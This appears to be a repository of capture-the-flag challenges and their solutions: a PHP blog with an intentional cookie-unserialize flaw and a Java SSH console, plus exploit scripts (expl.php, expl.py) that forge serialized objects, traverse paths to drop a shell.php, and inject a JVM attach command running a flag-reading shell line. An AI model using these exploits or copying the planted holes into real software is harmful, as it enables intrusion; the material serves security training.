├── README.md
├── wctf2019
└── p-door
│ ├── challenge
│ ├── flag
│ ├── src
│ │ ├── header.tpl
│ │ ├── main.tpl
│ │ ├── config.php
│ │ ├── index.php
│ │ ├── index.tpl
│ │ ├── controllers.php
│ │ └── models.php
│ ├── docker-compose.yaml
│ └── Dockerfile
│ ├── p-door.pdf
│ └── expl.php
└── wctf2020
└── sshlyuxa
├── challenge
├── run.sh
├── task
│ ├── src
│ │ └── main
│ │ │ └── java
│ │ │ └── pwn
│ │ │ └── challenge
│ │ │ ├── Main.java
│ │ │ ├── Context.java
│ │ │ ├── Sender.java
│ │ │ ├── Listener.java
│ │ │ ├── Utils.java
│ │ │ └── Console.java
│ ├── assembly.xml
│ └── pom.xml
└── Dockerfile
├── pwn.jar
├── sshlyuxa.pdf
├── A.java
├── MyProcessor.java
└── expl.py
/README.md:
--------------------------------------------------------------------------------
1 | # ctf
2 | CTF stuff
3 |
--------------------------------------------------------------------------------
/wctf2019/p-door/challenge/flag:
--------------------------------------------------------------------------------
1 | flag{lcbc_pwnz}
2 |
--------------------------------------------------------------------------------
/wctf2020/sshlyuxa/challenge/run.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | java -jar challenge.jar
3 |
4 |
--------------------------------------------------------------------------------
/wctf2020/sshlyuxa/pwn.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/paul-axe/ctf/HEAD/wctf2020/sshlyuxa/pwn.jar
--------------------------------------------------------------------------------
/wctf2019/p-door/p-door.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/paul-axe/ctf/HEAD/wctf2019/p-door/p-door.pdf
--------------------------------------------------------------------------------
/wctf2019/p-door/challenge/src/header.tpl:
--------------------------------------------------------------------------------
1 |
2 | User: @@user@@
3 |
4 | @@text@@
5 |
6 |
7 |
--------------------------------------------------------------------------------
/wctf2020/sshlyuxa/sshlyuxa.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/paul-axe/ctf/HEAD/wctf2020/sshlyuxa/sshlyuxa.pdf
--------------------------------------------------------------------------------
/wctf2019/p-door/challenge/src/main.tpl:
--------------------------------------------------------------------------------
1 | @@text@@
2 |
3 |
4 | Created by Super Blog System.
5 |
6 | Rendered at: @@rendered@@
7 |
8 |
9 |
--------------------------------------------------------------------------------
/wctf2019/p-door/challenge/src/config.php:
--------------------------------------------------------------------------------
1 | $method();
11 | } else {
12 | $controller->doIndex();
13 | }
14 |
15 |
--------------------------------------------------------------------------------
/wctf2019/p-door/challenge/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM php:7-apache
2 |
3 | RUN mv "$PHP_INI_DIR/php.ini-production" "$PHP_INI_DIR/php.ini"
4 | RUN yes '' | pecl install redis
5 | Run echo 'extension=redis.so' >> "$PHP_INI_DIR/php.ini"
6 | RUN mkdir /tmp/cache/ && chown www-data:www-data /tmp/cache
7 |
8 | COPY src/ /var/www/html
9 | # So teams will know where is the flag
10 | COPY docker-compose.yaml /
11 |
12 |
--------------------------------------------------------------------------------
/wctf2020/sshlyuxa/challenge/task/src/main/java/pwn/challenge/Main.java:
--------------------------------------------------------------------------------
1 | package pwn.challenge;
2 | import java.util.logging.Logger;
3 | import java.util.logging.Level;
4 |
5 |
6 | public class Main {
7 | public static void main(String[] args) throws Exception {
8 | Logger.getLogger("io.netty").setLevel(Level.OFF);
9 | Console console = new Console();
10 | console.run();
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/wctf2020/sshlyuxa/challenge/task/src/main/java/pwn/challenge/Context.java:
--------------------------------------------------------------------------------
1 | package pwn.challenge;
2 |
3 | import java.security.Key;
4 |
5 |
6 |
7 | public class Context {
8 |
9 | private Listener listener;
10 |
11 | public void runListener(String username) throws Exception {
12 | if (this.listener != null) {
13 | this.listener.interrupt();
14 | }
15 | this.listener = new Listener(username);
16 | this.listener.start();
17 | }
18 | public void stopListener() {
19 | this.listener.interrupt();
20 | }
21 | }
22 |
--------------------------------------------------------------------------------
/wctf2020/sshlyuxa/challenge/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM maven:3-jdk-8 as builder
2 |
3 | COPY task /code
4 | WORKDIR /code
5 | RUN mvn package
6 |
7 |
8 | FROM openjdk:8
9 | ARG flag
10 |
11 | RUN mkdir /code
12 | WORKDIR /code
13 | COPY --from=builder /code/target/challenge-1.0-SNAPSHOT-all.jar /code/challenge.jar
14 | COPY run.sh /
15 | RUN chmod +x /run.sh
16 |
17 | RUN useradd challenge
18 | RUN chown challenge /code
19 |
20 | RUN cp /bin/cat /readflag; chmod u+s /readflag
21 | RUN echo $flag > /FLAG
22 | RUN chmod 400 /FLAG && chown root:root /FLAG
23 |
24 | USER challenge
25 |
26 | CMD ["/run.sh"]
27 |
28 |
--------------------------------------------------------------------------------
/wctf2020/sshlyuxa/challenge/task/assembly.xml:
--------------------------------------------------------------------------------
1 |
5 | fat-tests
6 |
7 | jar
8 |
9 | false
10 |
11 |
12 | /
13 | true
14 | true
15 | test
16 |
17 |
18 |
19 |
--------------------------------------------------------------------------------
/wctf2020/sshlyuxa/MyProcessor.java:
--------------------------------------------------------------------------------
1 | import com.sun.tools.javac.comp.Attr;
2 | import com.sun.tools.javac.model.JavacElements;
3 | import com.sun.tools.javac.tree.JCTree;
4 | import com.sun.tools.javac.tree.TreeTranslator;
5 |
6 | import javax.annotation.processing.AbstractProcessor;
7 | import javax.annotation.processing.RoundEnvironment;
8 | import javax.annotation.processing.SupportedAnnotationTypes;
9 | import javax.annotation.processing.SupportedSourceVersion;
10 | import javax.lang.model.SourceVersion;
11 | import javax.lang.model.element.Element;
12 | import javax.lang.model.element.TypeElement;
13 | import java.util.Set;
14 |
15 | @SupportedSourceVersion(SourceVersion.RELEASE_8)
16 | @SupportedAnnotationTypes("*")
17 | public class MyProcessor extends AbstractProcessor {
18 |
19 | @Override
20 | public boolean process(Set extends TypeElement> annotations, RoundEnvironment roundEnv) {
21 | for (Element e : roundEnv.getRootElements()) {
22 | if (e.getSimpleName().contentEquals("A")) {
23 | JavacElements utils = (JavacElements) processingEnv.getElementUtils();
24 | JCTree.JCClassDecl cls = (JCTree.JCClassDecl) utils.getTree(e);
25 | JCTree.JCMethodDecl m = (JCTree.JCMethodDecl) cls.defs.head;
26 | cls.defs.head = new JCTree.JCMethodDecl(m.mods, m.name, m.restype, m.typarams, m.recvparam, m.params, m.thrown, m.body, m.defaultValue, m.sym) {
27 | @Override
28 | public void accept(Visitor v) {
29 | if (v instanceof Attr || v instanceof TreeTranslator) {
30 | super.accept(v);
31 | }
32 | }
33 | };
34 | }
35 | }
36 | return true;
37 | }
38 | }
39 |
--------------------------------------------------------------------------------
/wctf2020/sshlyuxa/challenge/task/src/main/java/pwn/challenge/Sender.java:
--------------------------------------------------------------------------------
1 | package pwn.challenge;
2 |
3 | import io.netty.bootstrap.Bootstrap;
4 | import io.netty.channel.*;
5 | import io.netty.channel.unix.DomainSocketAddress;
6 | import io.netty.channel.epoll.EpollEventLoopGroup;
7 | import io.netty.channel.epoll.EpollDomainSocketChannel;
8 | import io.netty.handler.codec.bytes.ByteArrayEncoder;
9 |
10 | public class Sender {
11 |
12 | public class Handler extends SimpleChannelInboundHandler {
13 | @Override
14 | protected void channelRead0(ChannelHandlerContext ctx, String msg) throws Exception {
15 | }
16 | }
17 |
18 | private String path;
19 | public Sender(String username){
20 | path = Utils.getUserSocketPath(username);
21 | }
22 |
23 | public void send(byte[] data) throws Exception {
24 | Bootstrap bootstrap = new Bootstrap();
25 | EpollEventLoopGroup group = new EpollEventLoopGroup();
26 | try {
27 | bootstrap
28 | .group(group)
29 | .channel(EpollDomainSocketChannel.class)
30 | .handler(new ChannelInitializer() {
31 | @Override
32 | protected void initChannel(Channel ch) throws Exception {
33 | ChannelPipeline pipeline = ch.pipeline();
34 | pipeline.addLast("encoder", new ByteArrayEncoder());
35 | pipeline.addLast("handler", new Handler());
36 | }
37 | });
38 |
39 | final Channel channel = bootstrap.connect(
40 | new DomainSocketAddress(this.path)
41 | ).sync().channel();
42 |
43 | channel.write(data);
44 | channel.flush();
45 | channel.disconnect().sync();
46 | } finally {
47 | group.shutdownGracefully();
48 | }
49 | }
50 | }
51 |
52 |
--------------------------------------------------------------------------------
/wctf2019/p-door/challenge/src/index.tpl:
--------------------------------------------------------------------------------
1 |
2 |
3 | Online blog platform
4 |
5 | [Home]
6 |
7 |
8 | user) { ?>
9 | [Create]
10 |
11 | [View Last Draft]
12 |
13 |
14 | [Register]
15 | [Login]
16 |
17 |
18 |
19 |
22 |
23 |
34 |
35 |
47 |
48 |
60 |
61 |
62 |
63 |
69 |
70 |
71 |
--------------------------------------------------------------------------------
/wctf2020/sshlyuxa/challenge/task/src/main/java/pwn/challenge/Listener.java:
--------------------------------------------------------------------------------
1 | package pwn.challenge;
2 |
3 | import io.netty.bootstrap.ServerBootstrap;
4 | import io.netty.channel.*;
5 | import io.netty.channel.epoll.EpollEventLoopGroup;
6 | import io.netty.channel.epoll.EpollServerDomainSocketChannel;
7 | import io.netty.buffer.ByteBuf;
8 | import io.netty.channel.unix.DomainSocketAddress;
9 |
10 | import java.io.File;
11 | import java.net.SocketAddress;
12 |
13 | public class Listener extends Thread {
14 | private SocketAddress socket;
15 |
16 | public class MessageHandler extends ChannelInboundHandlerAdapter {
17 | @Override
18 | public void channelRead(ChannelHandlerContext ctx, Object msg) {
19 | ByteBuf buf = (ByteBuf) msg;
20 | byte[] bytes = new byte[buf.readableBytes()];
21 | buf.duplicate().readBytes(bytes);
22 | System.out.println("\n[!] Incoming message: " + Utils.bytesToHex(bytes));
23 | }
24 |
25 | @Override
26 | public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
27 | cause.printStackTrace();
28 | ctx.close();
29 | }
30 | }
31 |
32 | public Listener(String username) {
33 | String path = Utils.getUserSocketPath(username);
34 | this.socket = new DomainSocketAddress(path);
35 | }
36 |
37 | public void run() {
38 | EventLoopGroup bossGroup = new EpollEventLoopGroup();
39 | EventLoopGroup workerGroup = new EpollEventLoopGroup();
40 | ServerBootstrap b = new ServerBootstrap();
41 | b.group(bossGroup, workerGroup)
42 | .channel(EpollServerDomainSocketChannel.class)
43 | .childHandler(new ChannelInitializer() {
44 | @Override
45 | public void initChannel(Channel ch) throws Exception {
46 | ch.pipeline().addLast(new MessageHandler());
47 | }
48 | });
49 | try {
50 | ChannelFuture f = b.bind(this.socket);
51 | f.channel().closeFuture().sync();
52 | } catch (java.lang.InterruptedException e) {
53 | } finally {
54 | workerGroup.shutdownGracefully();
55 | bossGroup.shutdownGracefully();
56 | }
57 | }
58 |
59 |
60 | }
61 |
--------------------------------------------------------------------------------
/wctf2019/p-door/challenge/src/controllers.php:
--------------------------------------------------------------------------------
1 | user = User::getInstance();
8 | }
9 |
10 | private function checkAuth(){
11 | if ($this->user === NULL || $this->user->name === NULL)
12 | die("Unauthorized");
13 | }
14 |
15 | public function doPublish(){
16 | $this->checkAuth();
17 | $page = unserialize($_COOKIE["draft"]);
18 | $fname = $_POST["fname"];
19 | $page->publish($fname);
20 | setcookie("draft", null, -1);
21 | die("Your blog post will be published after a while (never)
Back");
22 | }
23 |
24 | public function doSaveDraft(){
25 | $this->checkAuth();
26 |
27 | $page = new Page("main");
28 | $page->user = $this->user;
29 | $page->filename = $_POST["filename"];
30 | $page->text = $_POST["text"];
31 |
32 | $header = new Page("header");
33 | $header->user = $this->user;
34 | $header->filename = $_POST["filename"];
35 | $header->text = $_POST["header"];
36 |
37 | $page->header = $header;
38 |
39 | setcookie("draft", serialize($page));
40 | header("Location: /?m=ViewDraft");
41 | }
42 |
43 | public function doViewDraft(){
44 | $this->checkAuth();
45 | $page = unserialize($_COOKIE["draft"]);
46 | $footer = <<
48 |
49 |
54 | EOL;
55 | die($page . $footer);
56 | }
57 |
58 | public function doLogin(){
59 | $user = User::login($_POST["login"], $_POST["password"]);
60 | if (!$user)
61 | die("Invalid login/password");
62 | setcookie("user", serialize($user));
63 | header("Location: /");
64 | }
65 |
66 | public function doRegister(){
67 | $user = User::register($_POST["login"], $_POST["password"]);
68 | if (!$user)
69 | die("Something went wrong");
70 | setcookie("user", serialize($user));
71 | header("Location: /");
72 | }
73 |
74 | public function doIndex(){
75 | include "index.tpl";
76 | }
77 |
78 | }
79 |
--------------------------------------------------------------------------------
/wctf2020/sshlyuxa/challenge/task/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | pwn.challenge
8 | challenge
9 | 1.0-SNAPSHOT
10 |
11 |
12 |
13 |
14 | org.apache.maven.plugins
15 | maven-compiler-plugin
16 | 3.5.1
17 |
18 |
19 | 1.8
20 | 1.8
21 |
22 | -XDignore.symbol.file
23 | true
24 |
25 |
26 |
27 | maven-assembly-plugin
28 |
29 | ${project.artifactId}-${project.version}-all
30 | false
31 |
32 |
33 | pwn.challenge.Main
34 |
35 |
36 | assembly.xml
37 |
38 |
39 |
40 | make-assembly
41 | package
42 |
43 | single
44 |
45 |
46 |
47 |
48 |
49 | org.apache.maven.plugins
50 | maven-surefire-plugin
51 | 3.0.0-M1
52 |
53 | false
54 |
55 | false
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 | io.netty
65 | netty-all
66 | 4.1.36.Final
67 |
68 |
69 |
70 |
--------------------------------------------------------------------------------
/wctf2019/p-door/challenge/src/models.php:
--------------------------------------------------------------------------------
1 | connect("db", 6379) or die("Cant connect to database");
6 |
7 | class User {
8 | const CACHE_PATH = "/tmp/cache/";
9 |
10 | public $name;
11 | public $perms;
12 |
13 | private static $_instance = null;
14 |
15 | public function __construct($name){
16 | $this->name = $name;
17 | $this->perms = 4;
18 | self::$_instance = $this;
19 | }
20 |
21 | public function __wakeup(){
22 | self::$_instance = $this;
23 | }
24 |
25 | public static function getInstance(): ?User {
26 | return self::$_instance;
27 | }
28 |
29 | public function checkWritePermissions() {
30 | if (!$this->name || !ctype_alnum($this->name))
31 | die("Invalid user");
32 | if ( !(($this->perms >> 2)&1) )
33 | die("Access denied");
34 | }
35 |
36 | public function getCacheDir(): string {
37 | $dir_path = self::CACHE_PATH . $this->name;
38 | if (!is_dir($dir_path)){
39 | mkdir($dir_path);
40 | }
41 | return $dir_path;
42 | }
43 |
44 |
45 | public static function login($login, $password): ?User {
46 | global $redis;
47 | if (!ctype_alnum($login))
48 | die("Only alphanumeric logins allowed!");
49 | $dbhash = $redis->get($login);
50 | if($dbhash === False || $dbhash !== sha1($password))
51 | return null;
52 |
53 | return new User($login);
54 | }
55 |
56 | public static function register($login, $password): ?User {
57 | global $redis;
58 | if (!ctype_alnum($login))
59 | die("Only alphanumeric logins allowed!");
60 | $hash = sha1($password);
61 | if (!$redis->setNx($login, $hash))
62 | return null;
63 |
64 | return new User($login);
65 | }
66 | }
67 |
68 |
69 | class Cache {
70 | public static function writeToFile($path, $content) {
71 | $info = pathinfo($path);
72 | if (!is_dir($info["dirname"]))
73 | throw new Exception("Directory doesn't exists");
74 | if (is_file($path))
75 | throw new Exception("File already exists");
76 | file_put_contents($path, $content);
77 | }
78 | }
79 |
80 | class Page {
81 | const TEMPLATES = array("main" => "main.tpl", "header" => "header.tpl");
82 | public $view;
83 | public $text;
84 | public $template;
85 | public $header;
86 |
87 | public function __construct(string $template) {
88 | $this->template = $template;
89 |
90 | }
91 |
92 | public function __toString(): string {
93 | return $this->render();
94 | }
95 |
96 | public function publish($filename) {
97 | $user = User::getInstance();
98 | $ext = substr(strstr($filename, "."), 1);
99 |
100 | $path = $user->getCacheDir() . "/" . microtime(true) . "." . $ext;
101 | $user->checkWritePermissions();
102 | Cache::writeToFile($path, $this);
103 | }
104 |
105 | public function renderVars(): string {
106 | $content = $this->view["content"];
107 | foreach ($this->vars as $k=>$v){
108 | $v = htmlspecialchars($v);
109 | $content = str_replace("@@$k@@", $v, $content);
110 | }
111 | return $content;
112 | }
113 |
114 | private function getHeader(): ?Page {
115 | return $this->header;
116 | }
117 |
118 | public function render(): string {
119 | $user = User::getInstance();
120 |
121 | if (!array_key_exists($this->template, self::TEMPLATES))
122 | die("Invalid template");
123 |
124 | $tpl = self::TEMPLATES[$this->template];
125 |
126 | $this->view = array();
127 |
128 | $this->view["content"] = file_get_contents($tpl);
129 | $this->vars["user"] = $user->name;
130 | $this->vars["text"] = $this->text."\n";
131 | $this->vars["rendered"] = microtime(true);
132 |
133 | $content = $this->renderVars();
134 | $header = $this->getHeader();
135 |
136 | return $header.$content;
137 | }
138 | }
139 |
--------------------------------------------------------------------------------
/wctf2019/p-door/expl.php:
--------------------------------------------------------------------------------
1 | name = $name;
15 | }
16 | }
17 |
18 | class Page {
19 | public $vars;
20 | public $text;
21 | public $view;
22 | public $header;
23 | public $template = "main";
24 | }
25 |
26 |
27 |
28 | function gen_payload($payload){
29 | $expl = false;
30 |
31 | for ($i=0; $itext= $payload[$i];
34 | $p->vars["text"] = &$p->view;
35 |
36 | if (!$expl)
37 | $expl = $p;
38 | else {
39 | $p->header = $expl;
40 | $expl = $p;
41 | }
42 | }
43 |
44 | return serialize($expl);
45 | }
46 |
47 | function upload_pld($pld){
48 | global $URL;
49 | $pld = urlencode(gen_payload($pld));
50 | $user = new User("test");
51 | $user->perms = 4;
52 | $user = urlencode(serialize($user));
53 | $ch = curl_init();
54 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
55 | curl_setopt($ch, CURLOPT_URL, "$URL?m=Publish");
56 |
57 | //curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:8080");
58 |
59 | curl_setopt($ch, CURLOPT_HEADER, 1);
60 | curl_setopt($ch, CURLOPT_COOKIE, "user=$user; draft=$pld");
61 |
62 | curl_setopt($ch, CURLOPT_POST, 1);
63 | curl_setopt($ch, CURLOPT_POSTFIELDS, "fname=a./../../../../var/www/html/shell.php");
64 | curl_exec($ch);
65 | }
66 |
67 | function create_dir($name){
68 | global $URL;
69 | $user = urlencode(serialize(new User($name)));
70 | $page = new Page("test");
71 | $page->header = new Page("header");
72 | $page = urlencode(serialize($page));
73 | $ch = curl_init();
74 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
75 | curl_setopt($ch, CURLOPT_URL, "$URL?m=Publish");
76 |
77 | //curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:8080");
78 |
79 | curl_setopt($ch, CURLOPT_HEADER, 1);
80 | curl_setopt($ch, CURLOPT_COOKIE, "user=$user; draft=$page");
81 |
82 | curl_setopt($ch, CURLOPT_POST, 1);
83 | curl_setopt($ch, CURLOPT_POSTFIELDS, "fname=a.html");
84 | curl_exec($ch);
85 | }
86 |
87 | function get_server_time(){
88 | global $URL;
89 | $user = new User("test");
90 | $user->perms = 4;
91 | $user = urlencode(serialize($user));
92 | $page = new Page("test");
93 | $page->header = new Page("header");
94 | $page = urlencode(serialize($page));
95 |
96 | $ch = curl_init();
97 | curl_setopt($ch, CURLOPT_URL, "$URL?m=ViewDraft");
98 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
99 |
100 | //curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:8080");
101 |
102 | curl_setopt($ch, CURLOPT_HEADER, 1);
103 | curl_setopt($ch, CURLOPT_COOKIE, "user=$user; draft=$page");
104 |
105 | curl_setopt($ch, CURLOPT_POST, 1);
106 | curl_setopt($ch, CURLOPT_POSTFIELDS, "fname=a.html");
107 |
108 | $res = curl_exec($ch);
109 | preg_match('/Rendered at: ([0-9\.]+)/', $res, $m);
110 | return floatval($m[1]);
111 |
112 | }
113 |
114 |
115 | $server_time = get_server_time();
116 | echo "[+] Got server time: $server_time\n";
117 | $diff = microtime(true) - $server_time;
118 | echo "[*] Creating directories...\n";
119 | create_dir("test");
120 | for ($i = 0; $i < $TIME_WINDOW; $i += 0.0001){
121 | create_dir( "test/".($server_time + $TIME_OFFSET + $i).".");
122 | $progress = intval($i/$TIME_WINDOW*100);
123 | echo "$progress%\r";
124 |
125 | }
126 | echo "[+] Done\n";
127 | echo "[*] Waiting...\n";
128 | while (1) {
129 | $t = microtime(true);
130 | $t -= $diff;
131 | if ($t >= $server_time + $TIME_OFFSET-1)
132 | break;
133 | }
134 | echo "[*] Trying to upload payload...\n";
135 | while (1) {
136 | $t = microtime(true);
137 | $t -= $diff;
138 | upload_pld($PAYLOAD);
139 | if ($t >= $server_time + $TIME_OFFSET + $TIME_WINDOW +1)
140 | break;
141 |
142 | }
143 | echo "[*] Finished\n";
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
--------------------------------------------------------------------------------
/wctf2020/sshlyuxa/challenge/task/src/main/java/pwn/challenge/Utils.java:
--------------------------------------------------------------------------------
1 | package pwn.challenge;
2 |
3 | import java.io.*;
4 | import java.util.Random;
5 | import javax.crypto.Cipher;
6 | import javax.crypto.BadPaddingException;
7 | import javax.crypto.IllegalBlockSizeException;
8 | import java.security.spec.X509EncodedKeySpec;
9 | import java.security.PublicKey;
10 | import java.security.KeyFactory;
11 |
12 | public class Utils {
13 | private static final char[] HEX_ARRAY = "0123456789ABCDEF".toCharArray();
14 | private static String sessionBaseDir = "keys";
15 | private static String socketsBaseDir = "sockets";
16 | private static BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
17 |
18 | static {
19 | {
20 | File f = new File(socketsBaseDir);
21 | if (!f.exists() || !f.isDirectory()) {
22 | f.delete();
23 | f.mkdir();
24 | }
25 | }
26 | {
27 | File f = new File(sessionBaseDir);
28 | if (!f.exists() || !f.isDirectory()) {
29 | f.delete();
30 | f.mkdir();
31 | }
32 | }
33 | }
34 |
35 |
36 | public static String bytesToHex(byte[] bytes) {
37 | char[] hexChars = new char[bytes.length * 2];
38 | for (int j = 0; j < bytes.length; j++) {
39 | int v = bytes[j] & 0xFF;
40 | hexChars[j * 2] = HEX_ARRAY[v >>> 4];
41 | hexChars[j * 2 + 1] = HEX_ARRAY[v & 0x0F];
42 | }
43 | return new String(hexChars);
44 | }
45 |
46 | public static byte[] hexToBytes(String inHex) {
47 | String hex = inHex.toUpperCase();
48 | String ALPHA = new String(HEX_ARRAY);
49 | if (hex.length()%2 != 0)
50 | return null;
51 | byte[] bytes = new byte[hex.length()/2];
52 | for (int j = 0; j < bytes.length; j++) {
53 | int v;
54 | byte b = (byte) 0;
55 | v = ALPHA.indexOf(hex.charAt(2*j));
56 | if (v < 0) return null;
57 | b |= v << 4;
58 | v = ALPHA.indexOf(hex.charAt(2*j+1));
59 | if (v < 0) return null;
60 | b |= v;
61 | bytes[j] = b;
62 | }
63 | return bytes;
64 | }
65 |
66 | public static byte[] generateRandom(int num) {
67 | byte[] bytes = new byte[num];
68 | new Random().nextBytes(bytes);
69 | return bytes;
70 | }
71 |
72 | public static byte[] decrypt(byte[] key, byte[] msg) throws Exception {
73 | if (msg == null)
74 | return null;
75 |
76 | X509EncodedKeySpec ks = new X509EncodedKeySpec(key);
77 | KeyFactory kf = KeyFactory.getInstance("RSA");
78 | PublicKey pub = kf.generatePublic(ks);
79 |
80 | Cipher cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
81 | cipher.init(Cipher.DECRYPT_MODE, pub);
82 | try {
83 | return cipher.doFinal(msg);
84 | } catch (BadPaddingException | IllegalBlockSizeException e) {
85 | return null;
86 | }
87 | }
88 |
89 | public static Boolean userExists(String username) {
90 | File file = new File(String.format("%s/%s.pub", sessionBaseDir, username));
91 | return file.exists();
92 | }
93 |
94 | public static String ask(String prefix) throws Exception {
95 | System.out.print(prefix+" ");
96 | return reader.readLine();
97 | }
98 |
99 | public static void saveUserKey(String username, byte[] key) throws Exception {
100 | File file = new File(String.format("%s/%s.pub", sessionBaseDir, username));
101 | FileOutputStream fos = new FileOutputStream(file);
102 | fos.write(key);
103 | fos.flush();
104 | fos.close();
105 | }
106 |
107 | public static byte[] getUserKey(String username) throws Exception {
108 | File file = new File(String.format("%s/%s.pub", sessionBaseDir, username));
109 | FileInputStream fis = new FileInputStream(file);
110 | byte[] data = new byte[(int) file.length()];
111 | fis.read(data);
112 | fis.close();
113 | return data;
114 | }
115 |
116 | public static String getUserSocketPath(String username) {
117 | return String.format("%s/%s", socketsBaseDir, username);
118 | }
119 |
120 | }
121 |
--------------------------------------------------------------------------------
/wctf2020/sshlyuxa/expl.py:
--------------------------------------------------------------------------------
1 | import binascii
2 | import asyncio
3 | import re
4 | import asyncssh
5 | import sys
6 | from Crypto.PublicKey import RSA
7 |
8 |
9 | HOST = sys.argv[1]
10 | PORT = int(sys.argv[2])
11 |
12 | key = RSA.generate(2048)
13 | public_der = key.publickey().export_key("DER")
14 |
15 | PAYLOAD = open("pwn.jar","rb").read()
16 |
17 | def pad(b):
18 | ln = len(b)
19 | return b"\x01"+b"\xff"*(255-ln-2)+b"\x00"+b
20 |
21 | def encrypt(k, d):
22 | ct = pow(int.from_bytes(pad(d), byteorder='big'), k.d, k.n)
23 | return ct.to_bytes((ct.bit_length() + 7) // 8, byteorder='big')
24 |
25 |
26 | async def connect():
27 | conn = await asyncssh.connect(HOST, PORT
28 | , known_hosts=None
29 | , username="user", password="user")
30 |
31 | stdin, stdout,stderr = await conn.open_session(term_type="vt100", encoding=None)
32 | d = await stdout.readuntil(b": ")
33 | stdin.write(b"lol\n")
34 | d = await stdout.readuntil(b"[>] ")
35 | stdin.write(b"1\n")
36 | d = await stdout.readuntil(b">>> ")
37 | return stdin, stdout, stderr
38 |
39 | async def execute_payload(pid):
40 | stdin, stdout, stderr = await connect()
41 |
42 | stdin.write("auth pwn\n".encode())
43 | d = await stdout.readuntil(b"[resp]> ")
44 | challenge = binascii.unhexlify(d.split(b"echo ")[1].split(b" | ")[0])
45 |
46 | pld = binascii.hexlify(encrypt(key, challenge))
47 | stdin.write(pld + b"\n")
48 | d = await stdout.readuntil(b">>> ")
49 |
50 | stdin.write(f"msgto ../../tmp/.java_pid{pid}\n".encode())
51 | d = await stdout.readuntil(b"[msg]> ")
52 | cmd = b"1\x00load\x00instrument\x00false\x00/tmp/pld.pub=sh -c $@|sh . echo /readflag /FLAG>/tmp/flag.pub\x00"
53 | stdin.write(binascii.hexlify(cmd) + b"\n")
54 |
55 |
56 | async def socket_prepare(pid):
57 | stdin, stdout, stderr = await connect()
58 | stdin.write(f"register ../../tmp/.java_pid{pid}\n".encode())
59 | d = await stdout.readuntil(b"[resp]> ")
60 |
61 | stdin.write(binascii.hexlify(public_der) + b"\n")
62 | d = await stdout.readuntil(b">>>")
63 |
64 | fname = f"../.attach_pid{pid}"
65 |
66 | stdin.write(f"register {fname}\n".encode())
67 | d = await stdout.readuntil(b"[resp]> ")
68 | stdin.write(binascii.hexlify(public_der) + b"\n")
69 |
70 | stdin.write(f"auth {fname}\n".encode())
71 | d = await stdout.readuntil(b"[resp]> ")
72 | challenge = binascii.unhexlify(d.split(b"echo ")[1].split(b" | ")[0])
73 |
74 | pld = binascii.hexlify(encrypt(key, challenge))
75 | stdin.write(pld + b"\n")
76 | d = await stdout.readuntil(b">>> ")
77 |
78 |
79 | async def main():
80 | stdin, stdout, stderr = await connect()
81 | print("[+] Connected!")
82 | stdin.write(b"\034")
83 | stdin.write(b"\n")
84 | d = await stdout.readuntil(b">>>")
85 | main_thread_id = re.findall(r'"main".*nid=0x([0-9a-f]*) runnable', d.decode())[0]
86 | pid = int(main_thread_id,16)
87 | print(f"[+] Got PID: {pid}")
88 |
89 | print("[*] Creating socket channel")
90 | await asyncio.gather(*[socket_prepare(pid + i) for i in range(-2,1)])
91 |
92 | stdin.write(b"help\n")
93 | d = await stdout.readuntil(b">>> ")
94 | stdin.write(b"\034\n")
95 | await stdin.drain()
96 | stdin.write(b"\n")
97 | d = await stdout.readuntil(b">>> ")
98 |
99 | print("[*] Uploading payload")
100 | stdin.write("register ../../tmp/pld\n".encode())
101 | d = await stdout.readuntil(b"[resp]> ")
102 | stdin.write(binascii.hexlify(PAYLOAD) + b"\n")
103 | d = await stdout.readuntil(b">>> ")
104 |
105 | print("[*] Executing payload")
106 | stdin.write(f"register pwn\n".encode())
107 | d = await stdout.readuntil(b"[resp]> ")
108 | stdin.write(binascii.hexlify(public_der) + b"\n")
109 | d = await stdout.readuntil(b">>>")
110 |
111 | await asyncio.gather(*[execute_payload(pid + i) for i in range(-2,1)])
112 |
113 | stdin.write("auth pwn\n".encode())
114 | d = await stdout.readuntil(b"[resp]> ")
115 | challenge = binascii.unhexlify(d.split(b"echo ")[1].split(b" | ")[0])
116 |
117 | pld = binascii.hexlify(encrypt(key, challenge))
118 | stdin.write(pld + b"\n")
119 | d = await stdout.readuntil(b">>> ")
120 |
121 | stdin.write(f"msgto ../../tmp/flag\n".encode())
122 | d = await stdout.readuntil(b"[msg]> ")
123 | print(d)
124 |
125 |
126 | if __name__ == "__main__":
127 | asyncio.run(main())
128 |
--------------------------------------------------------------------------------
/wctf2020/sshlyuxa/challenge/task/src/main/java/pwn/challenge/Console.java:
--------------------------------------------------------------------------------
1 | package pwn.challenge;
2 |
3 | import java.util.Arrays;
4 |
5 |
6 | public class Console {
7 |
8 | private final static int KEY_BITS = 4096;
9 |
10 | private Context context;
11 |
12 |
13 | public Console() {
14 | this.context = new Context();
15 | }
16 |
17 | public void help() {
18 | System.out.println("Usage:");
19 | System.out.println("\thelp - Print help page");
20 | System.out.println("\tregister - Register");
21 | System.out.println("\tauth - Login");
22 | System.out.println("\tmsgto - Send message to user");
23 | System.out.println("\tquit - Exit the SSHluyxa");
24 | System.out.println("");
25 | }
26 |
27 | public void auth(String username) throws Exception {
28 | if (Utils.userExists(username)) {
29 | final int CHALLENGE_LEN = 16;
30 |
31 | byte[] challenge = Utils.generateRandom(CHALLENGE_LEN);
32 | System.out.println("To login please execute following command");
33 | System.out.println("and enter the result");
